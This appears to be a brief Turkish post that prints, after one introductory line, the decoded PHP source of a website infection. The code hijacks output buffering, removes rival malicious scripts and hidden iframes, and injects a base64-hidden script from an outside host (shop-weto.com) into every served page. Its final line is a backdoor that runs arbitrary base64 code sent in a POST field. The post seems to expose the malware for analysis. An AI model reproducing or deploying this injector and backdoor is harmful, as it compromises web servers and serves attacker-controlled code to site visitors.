İframe php ile şifrelenmiş. kodu çözülmüş hali;
if (! isset($xg61))
{
function xg6 ($s)
{
if (preg_match_all('#<script(.*?)</script>#is', $s, $a))
foreach ($a[0] as $v)
if (count(explode("\n", $v)) > 5)
{
$e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v);
if ((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write')))
$s = str_replace($v, '', $s);
}
if (preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is', $s, $a))
foreach ($a[0] as $v)
if (preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i', $v) && ! strstr($v, '?' . '>'))
$s = preg_replace('#' . preg_quote($v, '#') . '.*?</iframe>#is', '', $s);
$s = str_replace($a = base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3Nob3Atd2V0by5jb20vdGVtcGxhdGVzL2ZmYXEucGhwID48L3NjcmlwdD4='), '', $s);
if (stristr($s, '<body'))
$s = preg_replace('#(\s*<body)#mi', $a . '\1', $s);
elseif (strpos($s, ',a'))
$s .= $a;
return $s;
}
function xg62 ($a, $b, $c, $d)
{
global $xg61;
$s = array();
if (function_exists($xg61))
call_user_func($xg61, $a, $b, $c, $d);
foreach (@ob_get_status(1) as $v)
if (($a = $v['name']) == 'xg6')
return;
elseif ($a == 'ob_gzhandler')
break;
else
$s[] = array($a == 'default output handler' ? false : $a);
for ($i = count($s) - 1; $i >= 0; $i --)
{
$s[$i][1] = ob_get_contents();
ob_end_clean();
}
ob_start('xg6');
for ($i = 0; $i < count($s); $i ++)
{
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
$xg6l = (($a = @set_error_handler('xg62')) != 'xg62') ? $a : 0;
eval(base64_decode($_POST['e']));